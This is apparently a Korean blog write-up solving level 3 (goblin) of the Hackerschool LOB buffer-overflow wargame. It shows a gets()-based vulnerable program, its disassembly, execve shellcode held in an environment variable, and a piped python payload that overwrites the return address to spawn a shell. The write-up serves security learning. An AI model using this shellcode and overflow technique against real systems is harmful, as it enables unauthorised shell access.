본문 바로가기

Pwnable/LOB

[ProjectH4C] 해커스쿨 LOB(BOF 원정대) Level3

cobolt에 로그인하자마자 역시 실행 파일과 소스코드가 보인다. 소스 코드부터 보았다.

 

[cobolt@localhost cobolt]$ cat goblin.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - goblin
        - small buffer + stdin
*/

int main()
{
    char buffer[16];
    gets(buffer);
    printf("%s\n", buffer);
}

 

LEVEL 1, 2와는 다르게 gets를 이용해 입력을 받는다. gets도 strcpy와 같이 입력 받은 문자열의 길이를 확인하지 않아서 오버플로우 취약점이 존재하는 함수이다. 

[cobolt@localhost cobolt]$ ./goblin
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault

위와 같이 버퍼에 16바이트가 넘는 값을 입력해도 해당 문자열이 그대로 출력되는 것을 알 수 있다. 

goblin 파일을 goblin2 파일로 복사해서 gdb를 이용해 버퍼가 어디에 할당되는지 보기로 했다.

Dump of assembler code for function main:
0x80483f8 <main>:	push   %ebp
0x80483f9 <main+1>:	mov    %ebp,%esp
0x80483fb <main+3>:	sub    %esp,16
0x80483fe <main+6>:	lea    %eax,[%ebp-16]
0x8048401 <main+9>:	push   %eax
0x8048402 <main+10>:	call   0x804830c <gets>
0x8048407 <main+15>:	add    %esp,4
0x804840a <main+18>:	lea    %eax,[%ebp-16]
0x804840d <main+21>:	push   %eax
0x804840e <main+22>:	push   0x8048470
0x8048413 <main+27>:	call   0x804833c <printf>
0x8048418 <main+32>:	add    %esp,8
0x804841b <main+35>:	leave  
0x804841c <main+36>:	ret    
0x804841d <main+37>:	nop    
0x804841e <main+38>:	nop    
0x804841f <main+39>:	nop    
End of assembler dump.

main+3에서 esp를 16만큼 빼주었다. 이 곳이 버퍼의 공간임을 알 수 있다. 스택의 구조는 다음과 같다.

Buffer (16 Byte) SFP (4 Byte) RET (4 Byte)

 

버퍼가 16바이트이기 때문에 ret 이전까지 총 20바이트의 공간이 있고, 쉘 코드는 25바이트이기 때문에 쉘코드를 환경변수에 저장한후, gets에 "AAAAAAAAAAAAAAAAAAAA쉘코드주소"의 형식으로 입력해서 ret의 값을 덮어야 한다. 먼저 쉘 코드 환경변수를 만들어 주었다.

export shellcode=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

그러고나서 test.c를 작성해 getenv 함수를 이용해서 shellcode의 주소를 알아냈다.

[cobolt@localhost cobolt]$ cat test.c
#include <stdio.h>

int main(){
	printf("%p \n", getenv("shellcode"));
	return 0;
}
[cobolt@localhost cobolt]$ gcc -o test test.c
[cobolt@localhost cobolt]$ ./test
0xbfffff0f 

이제 주소도 알았으니 입력을 통해 오버플로우를 일으키기만 하면 되는데, gets 함수는 문자열을 입력받는 함수이기 때문에 쉘 코드의 주소를 입력하면 해당 값을 16진수의 값이 아닌 문자열로 처리해서 bfffff0f를 입력하면 각각의 아스키코드를 16진수로 치환한 값을 스택에 저장하게 된다. C언어의 문자열 입력에 16진수의 값을 그대로 넣을 순 없을까 찾아보았더니, 리눅스에서 제공하는 파이프 기능을 이용하면 될 것 같다.

 


파이프(Pipe)

리눅스 상에서의 파이프란, 두 개의 프로세스를 연결해주는 통로를 의미한다. 파이프는 기호 |(쉬프트+역슬래시)로 사용하며, 파이프를 사용하는 형식은  A | B 처럼 사용된다. 이 때, 파이프 왼쪽에 있는 A의 표준 출력이 오른쪽에 있는 B의 표준 입력으로 사용된다. 예를 들어, 

현재 디렉토리에서 이름에 ".c"가 들어간 파일을 찾고자 한다면 다음과 같이 실행하면 된다.

ls | grep .c

ls | grep .c 를 입력해주면, ls로 인해 출력되는 파일 목록이 grep .c의 입력이 되어 디렉토리에 존재하는 파일 중 ".c"가 들어간 파일들만 출력하게 된다.

$ ls | grep .c
goblin.c
test.c

 

 

이러한 개념을 이용해서 표준 입력을 받는 C 실행파일에 파이프를 통해서 입력 값을 전달해줄 수도 있다.

//pipe.c
#include <stdio.h>

int main(){
    char s1[16];
    gets(s1);
    printf("input is %s \n", s1);
}

입력 받은 문자열을 출력해주는 pipe.c 소스코드를 pipe로 컴파일 한 후에, 파이썬 스크립트를 이용해서 값을 전달해주면 다음과 같다.

$ python -c 'print "AAAA"' | ./pipe
input is AAAA 

쉘에 python -c 'print "AAAA"'를 실행하면 AAAA가 출력되지만, 해당 출력을 파이프를 통해 pipe 실행파일의 입력으로 전달하였고 pipe의 실행 결과가 출력되는 것을 볼 수 있다.


파이프를 이용해 파이썬 스크립트로 버퍼와 sfp를 채울 20바이트의 문자 + 쉘 코드의 주소를 goblin 실행파일에 넘기면 될 것 같아서 실행해보았다.

 

[cobolt@localhost cobolt]$ python -c 'print "A"*20 + "\x0f\xff\xff\xbf"' | ./goblin
AAAAAAAAAAAAAAAAAAAA���
[cobolt@localhost cobolt]$ 

 정상적으로 공격이 들어갔다면 쉘이 나와야 하지만 그렇지 않은 걸 보니 실패한 모양이다. 문제가 무엇인지 찾아보니, 파이썬 스크립트에 문제가 있는 모양이다.

 

 

찾아본 바에 의하면, 파이프의 왼쪽에 파이썬 스크립트를 이용하면, 파이썬에 의해 출력 되는 값의 뒤에 EOF를 붙여서 파이프의 오른쪽의 입력으로 전송한다. EOF란 End Of File의 약자로, 파일의 끝이라는 것을 알리며 종료되도록 하는 상수이다. 파이프를 통해 goblin에 값을 전달하고, goblin에서 쉘을 실행하지만, EOF에 의해서 바로 종료되는 것이다. 이 때, shell이 종료되지 않도록 하는 방법 중 하나가, 표준 입력을 받는 상태로써 쉘을 붙잡고 있는 것인데, 그 중 가장 쉽게 쓸 수 있는 것이 cat 명령어이기 때문에 파이프의 왼쪽에 (python -c 'print "~~~~"';cat)을 사용해서 파이썬의 EOF가 전달되어도 cat 명령어가 종료를 막아줄 수 있다. ";cat"을 사용했을 때와 사용하지 않았을 때의 동작은 아래와 같다.

 

 

";cat"이 없는 경우

 

  1. $ python -c 'print "A"*20 + "\x0f\xff\xff\xbf"' | ./goblin
  2. goblin의 gets 함수에서 값을 저장.
  3. 쉘이 실행됨. (이 때, EOF에 의해서 쉘이 바로 종료됨.)
  4. 종료

 

";cat"이 있는 경우

  1. $ (python -c 'print "A"*20 + "\x0f\xff\xff\xbf"';cat) | ./goblin
  2. goblin의 gets 함수에서 값을 저장.
  3. 쉘이 실행됨. (cat이 실행 중인 상태여서 쉘이 종료되지 않음.)
  4. 쉘 유지.

 

";cat"을 붙여서 다시 실행하면 다음과 같은 결과가 나온다.

입력 대기 상태인데, 쉘이 실행되고 있기 때문에 명령어를 입력하면 출력되는 것을 볼 수 있다.

파이썬 스크립트를 파이프의 왼쪽에 사용할 경우, 위와 같이 표준 입력 명령어를 통해 쉘이 종료되지 않게 해주어야 한다.